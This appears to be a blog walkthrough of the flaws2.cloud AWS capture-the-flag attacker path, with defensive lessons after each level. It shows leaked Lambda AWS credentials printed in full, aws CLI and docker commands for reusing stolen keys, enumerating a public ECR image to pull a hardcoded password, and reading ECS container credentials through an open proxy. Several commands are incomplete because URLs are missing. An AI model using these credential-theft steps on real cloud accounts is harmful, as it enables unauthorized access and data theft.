Day Cyberwox
Day's Cyber Works


Day's Cyber Works

Exploiting AWS 2 - Attacker's Perspective (Flaws2.Cloud)

Exploiting AWS 2 - Attacker's Perspective (Flaws2.Cloud)

In this path as an attacker, you’ll exploit your way through misconfigurations in Lambda (serverless functions) and containers in ECS Fargate.

Day Cyberwox's photo
Day Cyberwox
·May 8, 2022·

5 min read

Play this article

Table of contents

  • Attacker
  • Level1
  • Level2
  • Level3

This is a walkthrough of the challenge where you focus on AWS-specific issues, so no buffer overflows, XSS, etc. You can play by getting hands-on keyboard or just click through the hints to learn the concepts and go from one level to the next without playing.

Video Walkthrough:


In this path as an attacker, you’ll exploit your way through misconfigurations in Lambda (serverless functions) and containers in ECS Fargate.


Input Validation

For this level, you’ll need to enter the correct PIN code


Checking the source code, the input validation is only done by javascript and the code only validates for a number (Float in JS)

<script type="text/javascript">
                function validateForm() {
                    var code = document.forms["myForm"]["code"].value;
                    if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
                        alert("Code must be a number");
                        return false;


By changing the parameter to something that is not a number like the letter “a”, we can see the error messages it throws


The result is an error based on the malformed error that gives us a ton of data we should not have access to.

Let’s copy this data and use an online JSON formatter to make it look more appealing. FROM:



  "PATH": "/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
  "AWS_EXECUTION_ENV": "AWS_Lambda_nodejs8.10",
  "AWS_SESSION_TOKEN": "IQoJb3JpZ2luX2VjEAMaCXVzLWVhc3QtMSJHMEUCIHLzqsw+G1kQlxALmUXcNPdCuD35xoHEV/50FeF3A/90AiEA7YmWJjdzbnCU/GpjUhm7Hj6pMy+z1YYSoXleJq1GLoUqlAIIzP//////////ARADGgw2NTM3MTEzMzE3ODgiDMpofLBKCsA11AEwvSroAUuxmVgoSWhAT22O8LPNzeZG+qjvetLU7K/p2f3i0jwjA6Tcj48um2soe9Sbz4JLIClYaasx2fPz1B8eDiebiGCGevLLAfleE6GgXQUk+Ba/77lfK7L/4dydIgTnBE+8hY3g6BlOj70nrOJz0q+d2D7uX/Bm9WC5MuA5heupr8lUkR+3VDE3imWVXZilHOlTo5yiyA6bzG6MVxn+nd+7yRYsOeCxBlzAIwdb98qsKU32WTS7DpHsfSBb0Nu2GQ2gTW1lT6auEZaHq0XWSydn9yYPNfN4xPv0utZwbyqO3QIao8orwrt5p24w8+TckwY6mgEUfCjb7EAhkm57pMdvC/7pIh8pZbEBrFJdHzbTcLLIgMqu6EdBkOO8iuh2GGtE5mWJMfIAsoN8OS/VNaFMcJbGzO5Lb9hrRb68rPynNTL1YtGowxWqIYyjhD+52prkoB57v0yfTQ35amZJkPIAswGGTG8IwUEdJfNGrzQ3UgdhS0xOZu9pu07rKjnLTXdRAJknl3sBQq0Wccqy",
  "AWS_LAMBDA_LOG_STREAM_NAME": "2022/05/08/[$LATEST]69ea1cc0496f43e28d566d96ebeb4ca1",
  "TZ": ":UTC",
  "AWS_DEFAULT_REGION": "us-east-1",
  "LANG": "en_US.UTF-8",
  "LD_LIBRARY_PATH": "/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
  "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/level1",
  "_HANDLER": "index.handler",
  "_AWS_XRAY_DAEMON_PORT": "2000",
  "AWS_SECRET_ACCESS_KEY": "gjy5GEP0krqiDbrMI2q2EtlWA2t7FHnAfNMRw2On",
  "LAMBDA_TASK_ROOT": "/var/task",
  "LAMBDA_RUNTIME_DIR": "/var/runtime",
  "AWS_REGION": "us-east-1",
  "NODE_PATH": "/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules",
  "_X_AMZN_TRACE_ID": "Root=1-627732ad-53c34cb3387b64d3292699ad;Parent=4be46de117eaaca9;Sampled=0"

As observed from the above data we now have access to some variables which just happen to be AWS credentials. With these credentials, I can create an aws profile to get access to the underlying AWS infrastructure.


Add the AWS session token to the ~/.aws/credentials file


Use the get-caller-identity API call to view details about the IAM user or role whose credentials we just compromised.

aws sts get-caller-identity —profile havoc


These credentials can now be used to list the contents of the bucket this site is running out of

aws s3 ls s3:// —profile havoc


Viewing the contents of the secret file in the browser leads you to Level2


  • Poor client side input validation + ability to bypass JS
  • Lambda functions obtain their credentials from environmental variables which could potential store sensitive information.
  • The IAM role’s access to S3 is overly permissive for its operational use.


  • Proper input validation on client side.
  • Secure environmental variables using server-side encryption to protect your data at rest and client-side encryption to protect your data in transit
  • Always use the principle of least privilege when provisioning permissions. Tools like AWS Access Advisor, CloudTracker, & RepoKid can help with this.



This level is running as a container at We’re also given a hint that the ECR (Elastic Container Registry) is named “level2”.

With this information we can try to enumerate the ECR by listing the images available. This will utilize the repository name of level2 and the account id observed from enumerating the IAM identity. This activity can be performed from any AWS account from a user that has ECR privileges - AmazonEC2ContainerRegistryFullAccess and AmazonEC2ContainerRegistryReadOnly

aws ecr list-images --repository-name level2 --registry-id 653711331788 --profile havoc


As observed from the imageDigest parameter, the image is public and either be downloaded locally and investigated with docker commands or investigated manually with the AWS CLI


# **Download the image locally and inspect the container**
aws ecr get-login
docker pull
docker inspect level2
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0



Pull the image


Use docker inspect to view detailed information about the container including the last run command.

Use docker history for a more in-depth view of the commands used to actually create the docker container

docker history 2d73de35b781 —no-trunc


As observed we get a bunch of commands but the most important one to is

/bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password

Which contain the creds needed to login to the container at


Use the batch-get-image API call to get detailed information for available images without using docker.

aws --profile havoc ecr batch-get-image --repository-name level2 --registry-id 653711331788 --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson’


Now for the given image, we use the get-download-url-for-layer API call to retrieve the pre-signed AWS S3 download URL corresponding to the image, in this case I’m using the very first image observed.

aws --profile havoc ecr get-download-url-for-layer --repository-name level2 --registry-id 653711331788 --layer-digest "sha256:2d73de35b78103fa305bd941424443d520524a050b1e0c78c488646c0f0a0621”


Download the config file from the URL using wget and save the output as “container”


Viewing the contents of the container and parsing with jq, we can observe the command that shows the credentials



  • Publicly accessible container registry.


  • Avoid making resources publicly accessible if access to them publicly is not necessary for their operation.



The container’s webserver you got access to includes a simple proxy that can be accessed from:

**** or ****

Using the hints provided we’re able to view the local files on this proxy and it’s environmental variables looking in the **/proc/self/environ** directory


The environmental variables then give us access to the credentials stored in AWS_CONTAINER_CREDENTIALS_RELATIVE_URI . This is because containers running via ECS on AWS have their creds at where the GUID is found from the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI environment variable

Using the credentials URI found “/v2/credentials/6d7c28dc-ba85-4e97-aa1d-afef4a6c1f14” we can make a request to the proxy at

curl -s | jq


As always we can cause chaos or wreak havoc in this AWS environment




As always, since we’re dealing with buckets we can use these credentials to now list buckets and get the final link which can be found at



  • Exposed proxy which doesn't restrict access to instance's local file.


  • Restrict access to resources an IAM roles are restricted as much as possible using the principle of least privilege.

Did you find this article valuable?

Support Day Cyberwox by becoming a sponsor. Any amount is appreciated!

Learn more about Hashnode Sponsors
Share this